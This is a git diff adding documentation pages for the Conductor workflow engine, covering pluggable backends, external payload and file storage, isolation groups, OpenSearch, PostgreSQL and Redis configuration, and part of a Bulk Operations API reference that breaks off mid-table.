"Extend Conductor with custom persistence backends, queue implementations, and workflow status listeners for this open source workflow orchestration engine." +--- + +# Extending Conductor + +## Backend +Conductor provides a pluggable backend. Supported implementations include Redis, PostgreSQL, MySQL, Cassandra, and SQLite. + +There are 4 interfaces that need to be implemented for each backend: + +```java +//Store for workflow and task definitions +com.netflix.conductor.dao.MetadataDAO +``` + +```java +//Store for workflow executions +com.netflix.conductor.dao.ExecutionDAO +``` + +```java +//Index for workflow executions +com.netflix.conductor.dao.IndexDAO +``` + +```java +//Queue provider for tasks +com.netflix.conductor.dao.QueueDAO +``` + +It is possible to mix and match different implementations for each of these. +For example, SQS for queueing and a relational store for others. + + +## System Tasks +To create system tasks follow the steps below: + +* Extend ```com.netflix.conductor.core.execution.tasks.WorkflowSystemTask``` +* Instantiate the new class as part of the startup (eager singleton) +* Implement the ```TaskMapper``` [interface](https://github.com/conductor-oss/conductor/blob/main/core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapper.java) + +## Workflow Status Listener +To provide a notification mechanism upon completion/termination of workflows: + +* Implement the ```WorkflowStatusListener``` [interface](https://github.com/conductor-oss/conductor/blob/main/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListener.java) +* This can be configured to plugin custom notification/eventing upon workflows reaching a terminal state. + +## Event Handling +Provide the implementation of [EventQueueProvider](https://github.com/conductor-oss/conductor/blob/main/core/src/main/java/com/netflix/conductor/core/events/EventQueueProvider.java). + +E.g. SQS Queue Provider: +[SQSEventQueueProvider.java ](https://github.com/conductor-oss/conductor/blob/main/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProvider.java) diff --git a/docs/documentation/advanced/externalpayloadstorage.md b/docs/documentation/advanced/externalpayloadstorage.md new file mode 100644 index 0000000..5bfccc7 --- /dev/null +++ b/docs/documentation/advanced/externalpayloadstorage.md @@ -0,0 +1,132 @@ +--- +description: "External Payload Storage — offload large Conductor workflow and task payloads to external storage like S3." +--- +# External Payload Storage + +!!!warning + The external payload storage is currently only implemented to be used to by the Java client. Client libraries in other languages need to be modified to enable this. + Contributions are welcomed. + +## Context +Conductor can be configured to enforce barriers on the size of workflow and task payloads for both input and output. +These barriers can be used as safeguards to prevent the usage of conductor as a data persistence system and to reduce the pressure on its datastore. + +## Barriers +Conductor typically applies two kinds of barriers: + +* Soft Barrier +* Hard Barrier + + +#### Soft Barrier + +The soft barrier is used to alleviate pressure on the conductor datastore. In some special workflow use-cases, the size of the payload is warranted enough to be stored as part of the workflow execution. +In such cases, conductor externalizes the storage of such payloads to S3 and uploads/downloads to/from S3 as needed during the execution. This process is completely transparent to the user/worker process. + + +#### Hard Barrier +The hard barriers are enforced to safeguard the conductor backend from the pressure of having to persist and deal with voluminous data which is not essential for workflow execution. +In such cases, conductor will reject such payloads and will terminate/fail the workflow execution with the reasonForIncompletion set to an appropriate error message detailing the payload size. + +## Usage + +### Barriers setup + +Set the following properties to the desired values in the JVM system properties: + +| Property | Description | default value | +| -- | -- | -- | +| conductor.app.workflowInputPayloadSizeThreshold | Soft barrier for workflow input payload in KB | 5120 | +| conductor.app.maxWorkflowInputPayloadSizeThreshold | Hard barrier for workflow input payload in KB | 10240 | +| conductor.app.workflowOutputPayloadSizeThreshold | Soft barrier for workflow output payload in KB | 5120 | +| conductor.app.maxWorkflowOutputPayloadSizeThreshold | Hard barrier for workflow output payload in KB | 10240 | +| conductor.app.taskInputPayloadSizeThreshold | Soft barrier for task input payload in KB | 3072 | +| conductor.app.maxTaskInputPayloadSizeThreshold | Hard barrier for task input payload in KB | 10240 | +| conductor.app.taskOutputPayloadSizeThreshold | Soft barrier for task output payload in KB | 3072 | +| conductor.app.maxTaskOutputPayloadSizeThreshold | Hard barrier for task output payload in KB | 10240 | + +### Amazon S3 + +Conductor provides an implementation of [Amazon S3](https://aws.amazon.com/s3/) used to externalize large payload storage. +Set the following property in the JVM system properties: +``` +conductor.external-payload-storage.type=S3 +``` + +!!! note + This [implementation](https://github.com/conductor-oss/conductor/blob/main/awss3-storage/src/main/java/com/netflix/conductor/s3/storage/S3PayloadStorage.java#L44-L45) assumes that S3 access is configured on the instance. + +Set the following properties to the desired values in the JVM system properties: + +| Property | Description | default value | +| --- | --- | --- | +| conductor.external-payload-storage.s3.bucketName | S3 bucket where the payloads will be stored | | +| conductor.external-payload-storage.s3.signedUrlExpirationDuration | The expiration time in seconds of the signed url for the payload | 5 | + +The payloads will be stored in the bucket configured above in a `UUID.json` file at locations determined by the type of the payload. See the [S3PayloadStorage source](https://github.com/conductor-oss/conductor/blob/main/awss3-storage/src/main/java/com/netflix/conductor/s3/storage/S3PayloadStorage.java#L149-L167) for information about how the object key is determined. + +### Azure Blob Storage + +!!!note + This implementation assumes that you have an [Azure Blob Storage account's connection string or SAS Token](https://github.com/Azure/azure-sdk-for-java/blob/master/sdk/storage/azure-storage-blob/README.md). + If you want signed url to expired you must specify a Connection String. + +Set the following properties to the desired values in the JVM system properties: + +| Property | Description | default value | +| --- | --- | --- | +| workflow.external.payload.storage.azure_blob.connection_string | Azure Blob Storage connection string. Required to sign Url. | | +| workflow.external.payload.storage.azure_blob.endpoint | Azure Blob Storage endpoint. Optional if connection_string is set. | | +| workflow.external.payload.storage.azure_blob.sas_token | Azure Blob Storage SAS Token. Must have permissions `Read` and `Write` on Resource `Object` on Service `Blob`. Optional if connection_string is set. | | +| workflow.external.payload.storage.azure_blob.container_name | Azure Blob Storage container where the payloads will be stored | `conductor-payloads` | +| workflow.external.payload.storage.azure_blob.signedurlexpirationseconds | The expiration time in seconds of the signed url for the payload | 5 | +| workflow.external.payload.storage.azure_blob.workflow_input_path | Path prefix where workflows input will be stored with an random UUID filename | workflow/input/ | +| workflow.external.payload.storage.azure_blob.workflow_output_path | Path prefix where workflows output will be stored with an random UUID filename | workflow/output/ | +| workflow.external.payload.storage.azure_blob.task_input_path | Path prefix where tasks input will be stored with an random UUID filename | task/input/ | +| workflow.external.payload.storage.azure_blob.task_output_path | Path prefix where tasks output will be stored with an random UUID filename | task/output/ | + +The payloads will be stored in the same path structure as [Amazon S3](https://github.com/conductor-oss/conductor/blob/main/awss3-storage/src/main/java/com/netflix/conductor/s3/storage/S3PayloadStorage.java#L149-L167). + +#### Testing with Azurite + +You can use [Azurite](https://github.com/Azure/Azurite) to simulate Azure Storage locally for development and testing. + +#### Troubleshooting + +When using Elasticsearch persistence, you may receive a `java.lang.IllegalStateException` because the Netty library calls `setAvailableProcessors` twice. To resolve this, set: + +```properties +es.set.netty.runtime.available.processors=false +``` + +To use `okhttp` instead of the default Netty HTTP client, add the following dependency: + +``` +com.azure:azure-core-http-okhttp:${compatible version} +``` + +### PostgreSQL Storage + +Frinx provides an implementation of [PostgreSQL Storage](https://www.postgresql.org/) used to externalize large payload storage. + +!!!note + This implementation assumes that you have an [PostgreSQL database server with all required credentials](https://jdbc.postgresql.org/documentation/use/). + +Set the following properties to your application.properties: + +| Property | Description | default value | +|-------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------| +| conductor.external-payload-storage.postgres.conductor-url | URL, that can be used to pull the json configurations, that will be downloaded from PostgreSQL to the conductor server. For example: for local development it is `{{ server_host }}` | `""` | +| conductor.external-payload-storage.postgres.url | PostgreSQL database connection URL. Required to connect to database. | | +| conductor.external-payload-storage.postgres.username | Username for connecting to PostgreSQL database. Required to connect to database. | | +| conductor.external-payload-storage.postgres.password | Password for connecting to PostgreSQL database. Required to connect to database. | | +| conductor.external-payload-storage.postgres.table-name | The PostgreSQL schema and table name where the payloads will be stored | `external.external_payload` | +| conductor.external-payload-storage.postgres.max-data-rows | Maximum count of data rows in PostgreSQL database. After overcoming this limit, the oldest data will be deleted. | Long.MAX_VALUE (9223372036854775807L) | +| conductor.external-payload-storage.postgres.max-data-days | Maximum count of days of data age in PostgreSQL database. After overcoming limit, the oldest data will be deleted. | 0 | +| conductor.external-payload-storage.postgres.max-data-months | Maximum count of months of data age in PostgreSQL database. After overcoming limit, the oldest data will be deleted. | 0 | +| conductor.external-payload-storage.postgres.max-data-years | Maximum count of years of data age in PostgreSQL database. After overcoming limit, the oldest data will be deleted. | 1 | + +The maximum date age for fields in the database will be: `years + months + days` +The payloads will be stored in PostgreSQL database with key (externalPayloadPath) `UUID.json` and you can generate +URI for this data using `external-postgres-payload-resource` rest controller. +To make this URI work correctly, you must correctly set the conductor-url property. diff --git a/docs/documentation/advanced/file-storage.md b/docs/documentation/advanced/file-storage.md new file mode 100644 index 0000000..efa3416 --- /dev/null +++ b/docs/documentation/advanced/file-storage.md @@ -0,0 +1,96 @@ +--- +description: "File Storage — first-class support for binary file payloads in Conductor workflows, with pluggable backends (local, S3, Azure Blob, GCS)." +--- +# File Storage + +## Context + +The file-storage feature lets workflows carry binary file payloads (images, video, archives, model artefacts) without stuffing them into JSON inputs and outputs. Files are uploaded directly to a configured backend via short-lived presigned URLs and tracked in Conductor by a metadata record. Workflow tasks pass a small `FileHandle`/`FileHandler` reference instead of the bytes themselves. + +This is distinct from [External Payload Storage](externalpayloadstorage.md), which transparently offloads oversized JSON workflow/task payloads. File storage is for *user file content* that the workflow knowingly produces or consumes. + +## Feature flag + +The entire feature — REST endpoints, service beans, DAOs — is gated by a single property: + +```properties +conductor.file-storage.enabled=true +``` + +When `false` (the default) nothing registers and `/api/files/*` returns `404`. + +## Common properties + +`conductor.file-storage.*`: + +| Property | Description | default value | +| --- | --- | --- | +| conductor.file-storage.enabled | Master flag for the file-storage feature. | `false` | +| conductor.file-storage.type | Backend selector: `local`, `s3`, `azure-blob`, `gcs`. | `local` | +| conductor.file-storage.signed-url-expiration | TTL for presigned upload/download URLs. Spring `Duration`; bare numbers are seconds. | `60s` | + +## Backends + +### Local (`type=local`) + +Server-local filesystem. Intended for development and single-node deployments only — does not scale horizontally and does not support multipart upload. + +| Property | Description | default value | +| --- | --- | --- | +| conductor.file-storage.local.directory | Directory where files are written. | `${java.io.tmpdir}/conductor/files-uploaded` | + +### Amazon S3 (`type=s3`) + +Uses the default AWS credential provider chain (environment, instance profile, etc.). + +| Property | Description | default value | +| --- | --- | --- | +| conductor.file-storage.s3.bucket-name | S3 bucket where files are stored. | | +| conductor.file-storage.s3.region | AWS region for the bucket. | `us-east-1` | + +### Azure Blob (`type=azure-blob`) + +| Property | Description | default value | +| --- | --- | --- | +| conductor.file-storage.azure-blob.container-name | Azure Blob container where files are stored. | | +| conductor.file-storage.azure-blob.connection-string | Account connection string. Required for SAS-signed URLs. | | + +### Google Cloud Storage (`type=gcs`) + +| Property | Description | default value | +| --- | --- | --- | +| conductor.file-storage.gcs.bucket-name | GCS bucket where files are stored. | | +| conductor.file-storage.gcs.project-id | GCP project that owns the bucket. | | +| conductor.file-storage.gcs.credentials-file | Path to a service-account JSON key file. Falls back to application default credentials if unset. | | + +### Bring Your Own Storage (BYOS) + +Implement `org.conductoross.conductor.core.storage.FileStorage` and register it as a Spring bean. The default service uses the bean that matches `conductor.file-storage.type`. + +## Persistence + +File metadata lives in the `file_metadata` table — `fileId`, `fileName`, `contentType`, `storagePath`, `uploadStatus`, `workflowId`, `taskId`, timestamps, plus storage-reported `contentHash` and `contentSize` after upload completes. + +Schemas are created by Flyway: + +| Backend | Migration | +| --- | --- | +| Postgres | `V15__file_metadata.sql` | +| MySQL | `V9__file_metadata.sql` | +| SQLite | `V3__file_metadata.sql` | + +Redis and Cassandra metadata DAOs are also provided. + +## Storage layout + +Objects are written to `conductor//` inside the configured bucket / container / directory. Layout is the same across backends. + +## Access scope + +Download URLs are *workflow-family scoped*: the caller must supply a `workflowId` that resolves to the same workflow family (self, ancestors, or descendants in the sub-workflow tree) as the file's `workflowId`. Mismatches return `403 Forbidden`. There is no per-file size cap in this iteration. + +## Worker usage + +Workers consume and produce files via the Java SDK's `FileHandler` type. See the [File handling](../clientsdks/java-sdk.md#file-handling) section of the Java SDK page and the [Media Transcoder](https://github.com/conductor-oss/file-storage-java-sdk/tree/main/examples/file-storage/media-transcoder) example. + +For direct REST access (non-Java callers, custom clients), see the [File API reference](../api/files.md). diff --git a/docs/documentation/advanced/isolationgroups.md b/docs/documentation/advanced/isolationgroups.md new file mode 100644 index 0000000..8cfc2e8 --- /dev/null +++ b/docs/documentation/advanced/isolationgroups.md @@ -0,0 +1,156 @@ +--- +description: "Isolation Groups — isolate Conductor system task execution into dedicated queues and thread pools for predictable performance." +--- +# Isolation Groups + +Consider an HTTP task where the latency of an API is high, task queue piles up effecting execution of other HTTP tasks which have low latency. + +We can isolate the execution of such tasks to have predictable performance using `isolationgroupId`, a property of task definition. + +When we set isolationGroupId, the executor `SystemTaskWorkerCoordinator` will allocate an isolated queue and an isolated thread pool for execution of those tasks. + +If no `isolationgroupId` is specified in task definition, then fallback is default behaviour where the executor executes the task in shared thread-pool for all tasks. + +## Example + +** Task Definition ** +```json +{ + "name": "encode_task", + "retryCount": 3, + + "timeoutSeconds": 1200, + "inputKeys": [ + "sourceRequestId", + "qcElementType" + ], + "outputKeys": [ + "state", + "skipped", + "result" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 600, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": 100, + "rateLimitFrequencyInSeconds": 60, + "rateLimitPerFrequency": 50, + "isolationgroupId": "myIsolationGroupId" +} +``` +** Workflow Definition ** +```json +{ + "name": "encode_and_deploy", + "description": "Encodes a file and deploys to CDN", + "version": 1, + "tasks": [ + { + "name": "encode", + "taskReferenceName": "encode", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "http://localhost:9200/conductor/_search?size=10", + "method": "GET" + } + } + } + ], + "outputParameters": { + "cdn_url": "${d1.output.location}" + }, + "failureWorkflow": "cleanup_encode_resources", + "restartable": true, + "workflowStatusListenerEnabled": true, + "schemaVersion": 2 +} +``` + + +- puts `encode` in `HTTP-myIsolationGroupId` queue, and allocates a new thread pool for this for execution. + +Note: To enable this feature, the `workflow.isolated.system.task.enable` property needs to be made `true`,its default value is `false` + +The property `workflow.isolated.system.task.worker.thread.count` sets the thread pool size for isolated tasks; default is `1`. + +isolationGroupId is currently supported only in HTTP and kafka Task. + +### Execution Name Space + +`executionNameSpace` A property of taskdef can be used to provide JVM isolation to task execution and scale executor deployments horizontally. + +Limitation of using isolationGroupId is that we need to scale executors vertically as the executor allocates a new thread pool per `isolationGroupId`. Also, since the executor runs the tasks in the same JVM, task execution is not isolated completely. + +To support JVM isolation, and also allow the executors to scale horizontally, we can use `executionNameSpace` property in taskdef. + +Executor consumes tasks whose executionNameSpace matches with the configuration property `workflow.system.task.worker.executionNameSpace` + +If the property is not set, the executor executes tasks without any executionNameSpace set. + + +```json +{ + "name": "encode_task", + "retryCount": 3, + + "timeoutSeconds": 1200, + "inputKeys": [ + "sourceRequestId", + "qcElementType" + ], + "outputKeys": [ + "state", + "skipped", + "result" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 600, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": 100, + "rateLimitFrequencyInSeconds": 60, + "rateLimitPerFrequency": 50, + "executionNameSpace": "myExecutionNameSpace" +} +``` + +#### Example Workflow task + +```json +{ + "name": "encode_and_deploy", + "description": "Encodes a file and deploys to CDN", + "version": 1, + "tasks": [ + { + "name": "encode", + "taskReferenceName": "encode", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "http://localhost:9200/conductor/_search?size=10", + "method": "GET" + } + } + } + ], + "outputParameters": { + "cdn_url": "${d1.output.location}" + }, + "failureWorkflow": "cleanup_encode_resources", + "restartable": true, + "workflowStatusListenerEnabled": true, + "schemaVersion": 2 +} +``` + +- `encode` task is executed by the executor deployment whose `workflow.system.task.worker.executionNameSpace` property is `myExecutionNameSpace` + +`executionNameSpace` can be used along with `isolationGroupId` + +If the above task contains a isolationGroupId `myIsolationGroupId`, the tasks will be scheduled in a queue HTTP@myExecutionNameSpace-myIsolationGroupId, and have a new threadpool for execution in the deployment group with myExecutionNameSpace + + + diff --git a/docs/documentation/advanced/opensearch.md b/docs/documentation/advanced/opensearch.md new file mode 100644 index 0000000..05ecfb3 --- /dev/null +++ b/docs/documentation/advanced/opensearch.md @@ -0,0 +1,214 @@ +--- +description: "OpenSearch Integration — configure OpenSearch as the indexing backend for searching Conductor workflows and tasks." +--- +# OpenSearch + +Conductor supports OpenSearch as an indexing backend for searching workflows and tasks via the UI. +Version-specific modules are provided for OpenSearch 2.x and 3.x. + +## Quick Start + +Choose the module that matches your OpenSearch cluster version and set `conductor.indexing.type`: + +```properties +# For OpenSearch 2.x +conductor.indexing.enabled=true +conductor.indexing.type=opensearch2 +conductor.opensearch.url=http://localhost:9200 + +# For OpenSearch 3.x +conductor.indexing.enabled=true +conductor.indexing.type=opensearch3 +conductor.opensearch.url=http://localhost:9200 +``` + +Conductor will create its indices on first startup and begin indexing workflows and tasks. + +## Supported Versions + +| Module | `conductor.indexing.type` | OpenSearch Version | Client Library | +|---|---|---|---| +| `os-persistence-v2` | `opensearch2` | 2.x (2.0 – 2.18+) | opensearch-java 2.18.0 | +| `os-persistence-v3` | `opensearch3` | 3.x (3.0+) | opensearch-java 3.0.0 | + +OpenSearch 1.x is no longer supported. If you need 1.x support, see the +[archived os-persistence-v1 module](https://github.com/conductor-oss/conductor-os-persistence-v1). + +## Configuration Reference + +All OpenSearch configuration uses the `conductor.opensearch.*` namespace. Both the v2 and v3 +modules share the same property names — only `conductor.indexing.type` differs. + +### Connection + +| Property | Default | Description | +|---|---|---| +| `conductor.opensearch.url` | `localhost:9201` | Comma-separated OpenSearch node URLs. HTTP and HTTPS are both supported. | +| `conductor.opensearch.username` | _(none)_ | Username for basic authentication. | +| `conductor.opensearch.password` | _(none)_ | Password for basic authentication. | + +Multi-node example: + +```properties +conductor.opensearch.url=http://os-node1:9200,http://os-node2:9200,http://os-node3:9200 +``` + +### Index Management + +| Property | Default | Description | +|---|---|---| +| `conductor.opensearch.indexPrefix` | `conductor` | Prefix for all Conductor-managed indices. | +| `conductor.opensearch.indexShardCount` | `5` | Primary shards per index. | +| `conductor.opensearch.indexReplicasCount` | `0` | Replica shards per index. | +| `conductor.opensearch.autoIndexManagementEnabled` | `true` | Whether Conductor creates and manages indices automatically. Set to `false` to manage indices externally. | +| `conductor.opensearch.clusterHealthColor` | `green` | Cluster health color Conductor waits for before starting. Use `yellow` for single-node clusters. | + +### Performance Tuning + +| Property | Default | Description | +|---|---|---| +| `conductor.opensearch.indexBatchSize` | `1` | Documents per batch in async mode. | +| `conductor.opensearch.asyncWorkerQueueSize` | `100` | Async indexing task queue depth. | +| `conductor.opensearch.asyncMaxPoolSize` | `12` | Maximum async indexing threads. | +| `conductor.opensearch.asyncBufferFlushTimeout` | `10s` | Maximum time an async buffer is held before flushing. | +| `conductor.opensearch.taskLogResultLimit` | `10` | Maximum task log entries returned per search. | +| `conductor.opensearch.restClientConnectionRequestTimeout` | `-1` | REST client connection request timeout in ms. `-1` means unlimited. | + +## Example Configurations + +### Development (single-node, no auth) + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=opensearch2 +conductor.opensearch.url=http://localhost:9200 +conductor.opensearch.indexPrefix=conductor +conductor.opensearch.indexReplicasCount=0 +conductor.opensearch.clusterHealthColor=yellow +``` + +### Production (multi-node, auth, OpenSearch 2.x) + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=opensearch2 +conductor.opensearch.url=https://os-node1:9200,https://os-node2:9200,https://os-node3:9200 +conductor.opensearch.username=conductor_user +conductor.opensearch.password=secure_password +conductor.opensearch.indexPrefix=conductor +conductor.opensearch.indexShardCount=5 +conductor.opensearch.indexReplicasCount=1 +conductor.opensearch.clusterHealthColor=green +conductor.opensearch.asyncWorkerQueueSize=500 +conductor.opensearch.asyncMaxPoolSize=24 +conductor.opensearch.indexBatchSize=10 +``` + +### OpenSearch 3.x + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=opensearch3 +conductor.opensearch.url=http://localhost:9200 +conductor.opensearch.indexPrefix=conductor +conductor.opensearch.indexReplicasCount=0 +conductor.opensearch.clusterHealthColor=yellow +``` + +## Running with Docker Compose + +Pre-built Docker Compose configurations are provided for both versions: + +```shell +# OpenSearch 2.x +docker compose -f docker/docker-compose-redis-os2.yaml up + +# OpenSearch 3.x +docker compose -f docker/docker-compose-redis-os3.yaml up +``` + +Both start Conductor, Redis, and the appropriate OpenSearch version. + +## Migrating from the Legacy `opensearch` Type + +The generic `conductor.indexing.type=opensearch` is deprecated. Starting the server with this +value will display an error message directing you to the new configuration. + +**Before:** + +```properties +conductor.indexing.type=opensearch +conductor.elasticsearch.url=http://localhost:9200 +conductor.elasticsearch.indexName=conductor +``` + +**After:** + +```properties +conductor.indexing.type=opensearch2 # or opensearch3 +conductor.opensearch.url=http://localhost:9200 +conductor.opensearch.indexPrefix=conductor +``` + +The `conductor.elasticsearch.*` namespace is still accepted for backward compatibility. When +detected, those values are used and a deprecation warning is logged at startup. Migrate to +`conductor.opensearch.*` before the next major release. + +### Legacy property mapping + +| Legacy (`conductor.elasticsearch.*`) | New (`conductor.opensearch.*`) | +|---|---| +| `url` | `url` | +| `indexName` | `indexPrefix` | +| `clusterHealthColor` | `clusterHealthColor` | +| `indexBatchSize` | `indexBatchSize` | +| `asyncWorkerQueueSize` | `asyncWorkerQueueSize` | +| `asyncMaxPoolSize` | `asyncMaxPoolSize` | +| `indexShardCount` | `indexShardCount` | +| `indexReplicasCount` | `indexReplicasCount` | +| `taskLogResultLimit` | `taskLogResultLimit` | +| `username` | `username` | +| `password` | `password` | + +## Disabling Indexing + +To run Conductor without search indexing (disables workflow search in the UI): + +```properties +conductor.indexing.enabled=false +``` + +## Troubleshooting + +### Conductor fails to start: cluster health timeout + +For single-node development clusters, set: + +```properties +conductor.opensearch.clusterHealthColor=yellow +``` + +A single-node cluster cannot achieve `green` health because replica shards cannot be assigned. + +### Conductor fails to start: `NoClassDefFoundError: org.opensearch.Version` + +This error occurred with older `os-persistence` module versions and is resolved in the current +versioned modules. Ensure `conductor.indexing.type` is set to `opensearch2` or `opensearch3`. + +### Configuration changes not taking effect in Docker + +Config files are baked into the Docker image at build time. After changing `config-*.properties`: + +```shell +docker compose -f docker/docker-compose-redis-os2.yaml build +docker compose -f docker/docker-compose-redis-os2.yaml up +``` + +Alternatively, mount the config file as a Docker volume to pick up changes without rebuilding. + +## See Also + +- [os-persistence-v2 README](https://github.com/conductor-oss/conductor/blob/main/os-persistence-v2/README.md) +- [os-persistence-v3 README](https://github.com/conductor-oss/conductor/blob/main/os-persistence-v3/README.md) +- [Issue #678](https://github.com/conductor-oss/conductor/issues/678) — OpenSearch improvement epic +- [OpenSearch documentation](https://opensearch.org/docs/latest/) diff --git a/docs/documentation/advanced/postgresql.md b/docs/documentation/advanced/postgresql.md new file mode 100644 index 0000000..6d8af69 --- /dev/null +++ b/docs/documentation/advanced/postgresql.md @@ -0,0 +1,96 @@ +--- +description: "PostgreSQL Backend — configure Conductor to use PostgreSQL for workflow persistence, queues, indexing, and locking." +--- +# PostgreSQL + +By default conductor runs with an in-memory Redis mock. However, you +can run Conductor against PostgreSQL which provides workflow management, queues, indexing, and locking. +There are a number of configuration options that enable you to use more or less of PostgreSQL functionality for your needs. +It has the benefit of requiring fewer moving parts for the infrastructure, but does not scale as well to handle high volumes of workflows. +You should benchmark Conductor with Postgres against your specific workload to be sure. + + +## Configuration + +To enable the basic use of PostgreSQL to manage workflow metadata, set the following property: + +```properties +conductor.db.type=postgres +spring.datasource.url=jdbc:postgresql://postgres:5432/conductor +spring.datasource.username=conductor +spring.datasource.password=password +# optional +conductor.postgres.schema=public +``` + +To also use PostgreSQL for queues, you can set: + +```properties +conductor.queue.type=postgres +``` + +You can also use PostgreSQL to index workflows, configure this as follows: + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=postgres +conductor.elasticsearch.version=0 +``` + +To use PostgreSQL for locking, set the following configurations: +```properties +conductor.app.workflowExecutionLockEnabled=true +conductor.workflow-execution-lock.type=postgres +``` + +## Performance Optimisations + +### Poll Data caching + +By default, Conductor writes the latest poll for tasks to the database so that it can be used to determine which tasks and domains are active. This creates a lot of database traffic. +To avoid some of this traffic you can configure the PollDataDAO with a write buffer so that it only flushes every x milliseconds. If you keep this value around 5s then there should be no impact on behaviour. Conductor uses a default duration of 10s to determine whether a queue for a domain is active or not (also configurable using `conductor.app.activeWorkerLastPollTimeout`) so this will ensure that there is plenty of time for the data to get to the database to be shared by other instances: + +```properties +# Flush the data every 5 seconds +conductor.postgres.pollDataFlushInterval=5000 +``` + +You can also configure a duration when the cached poll data will be considered stale. This means that the PollDataDAO will try to use the cached data, but if it is older than the configured period, it will check against the database. There is no downside to setting this as if this Conductor node already can confirm that the queue is active then there's no need to go to the database. If the record in the cache is out of date, then we still go to the database to check. + +```properties +# Data older than 5 seconds is considered stale +conductor.postgres.pollDataCacheValidityPeriod=5000 +``` + +### Workflow and Task indexing on status change + +If you have a workflow with many tasks, Conductor will index that workflow every time a task completes which can result in a lot of extra load on the database. By setting this parameter you can configure Conductor to only index the workflow when its status changes: + +```properties +conductor.postgres.onlyIndexOnStatusChange=true +``` + +### Control over what gets indexed + +By default Conductor will index both workflows and tasks to enable searching via the UI. If you find that you don't search for tasks, but only workflows, you can use the following option to disable task indexing: + +```properties +conductor.app.taskIndexingEnabled=false +``` + +### Experimental LISTEN/NOTIFY based queues + +By default, Conductor will query the queues in the database 10 times per second for every task, which can result in a lot of traffic. +By enabling this option, Conductor makes use of [LISTEN](https://www.postgresql.org/docs/current/sql-listen.html)/[NOTIFY](https://www.postgresql.org/docs/current/sql-notify.html) to use triggers that distribute metadata about the state of the queues to all of the Conductor servers. This drastically reduces the load on the database because a single message containing the state of the queues is sent to all subscribers. +Enable it as follows: + +```properties +conductor.postgres.experimentalQueueNotify=true +``` + +You can also configure how long Conductor will wait before considering a notification stale using the following property: + +```properties +# Data older than 5 seconds is considered stale +conductor.postgres.experimentalQueueNotifyStalePeriod=5000 +``` diff --git a/docs/documentation/advanced/redis.md b/docs/documentation/advanced/redis.md new file mode 100644 index 0000000..394cd29 --- /dev/null +++ b/docs/documentation/advanced/redis.md @@ -0,0 +1,52 @@ +--- +description: "Redis Backend — configure Redis Standalone, Cluster, or Sentinel as the database and queue backend for Conductor." +--- +# Redis + +Configure Redis as the database and queue backend by setting the properties below. + +## `conductor.db.type` and `conductor.queue.type` + +| Value | Description | +|--------------------------------|----------------------------------------------------------------------------------------| +| redis_standalone | Redis Standalone configuration. | +| redis_cluster | Redis Cluster configuration. | +| redis_sentinel | Redis Sentinel configuration. | + +## `conductor.redis.hosts` + +Expected format is `host:port:rack` separated by semicolon, e.g.: + +```properties +conductor.redis.hosts=host0:6379:us-east-1c;host1:6379:us-east-1c;host2:6379:us-east-1c +``` + +## `conductor.redis.database` +Redis database value other than default of 0 is supported in sentinel and standalone configurations. +Redis cluster mode only uses database 0, and the configuration is ignored. + +```properties +conductor.redis.database=1 +``` + + +## `conductor.redis.username` + +[Redis ACL](https://redis.io/docs/latest/operate/oss_and_stack/management/security/acl/) using username and password authentication is now supported. + +The username property should be set as `conductor.redis.username`, e.g.: +```properties +conductor.redis.username=conductor +``` +If not set, the client uses `default` as the username. + +The password should be set as the 4th param of the first host `host:port:rack:password`, e.g.: + +```properties +conductor.redis.hosts=host0:6379:us-east-1c:my_str0ng_pazz;host1:6379:us-east-1c;host2:6379:us-east-1c +``` + +**Notes** + +- In a cluster, all nodes use the same username and password. +- In a sentinel configuration, sentinels and redis nodes use the same database index, username, and password. diff --git a/docs/documentation/api/bulk.md b/docs/documentation/api/bulk.md new file mode 100644 index 0000000..fdec529 --- /dev/null +++ b/docs/documentation/api/bulk.md @@ -0,0 +1,184 @@ +--- +description: "Conductor Bulk Operations API — pause, resume, restart, retry, terminate, remove, and search workflows in batch." +--- + +# Bulk Operations API + +The Bulk Operations API lets you perform workflow management operations on multiple workflows in a single request. All endpoints use the base path `/api/workflow/bulk`. + +Every endpoint accepts a list of workflow IDs in the request body and returns a `BulkResponse`: + +```json +{ + "bulkSuccessfulResults": ["workflow-id-1", "workflow-id-2"], + "bulkErrorResults": { + "workflow-id-3": "Workflow is not in a running state" + } +} +``` + +Operations are **best-effort** — each workflow is processed independently. If one fails, the rest still proceed. + +## Endpoints + +| Endpoint | Method | Description | +|---|---|---| +| `/bulk/pause` | `PUT` | Pause multiple workflows | +| `/bulk/resume` | `PUT` | Resume multiple paused workflows | +| `/bulk/restart` | `POST` | Restart multiple completed workflows | +| `/bulk/retry` | `POST` | Retry the last failed task in multiple workflows | +| `/bulk/terminate` | `POST` | Terminate multiple running workflows | +| `/bulk/remove` | `DELETE` | Remove multiple workflows from the system | +| `/bulk/terminate-remove` | `DELETE` | Terminate and remove multiple workflows | +| `/bulk/search` | `POST` | Search/fetch multiple workflows by ID | + +### Bulk Pause + +``` +PUT /api/workflow/bulk/pause +``` + +```shell +curl -X PUT 'http://localhost:8080/api/workflow/bulk/pause' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2", "workflow-id-3"]' +``` + +**Response** `200 OK` + +```json +{ + "bulkSuccessfulResults": ["workflow-id-1", "workflow-id-2"], + "bulkErrorResults": { + "workflow-id-3": "Workflow is already paused" + } +} +``` + +### Bulk Resume + +``` +PUT /api/workflow/bulk/resume +``` + +```shell +curl -X PUT 'http://localhost:8080/api/workflow/bulk/resume' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2"]' +``` + +**Response** `200 OK` — returns a `BulkResponse`. + +### Bulk Restart + +``` +POST /api/workflow/bulk/restart?useLatestDefinitions=false +``` + +| Parameter | Description | Default | 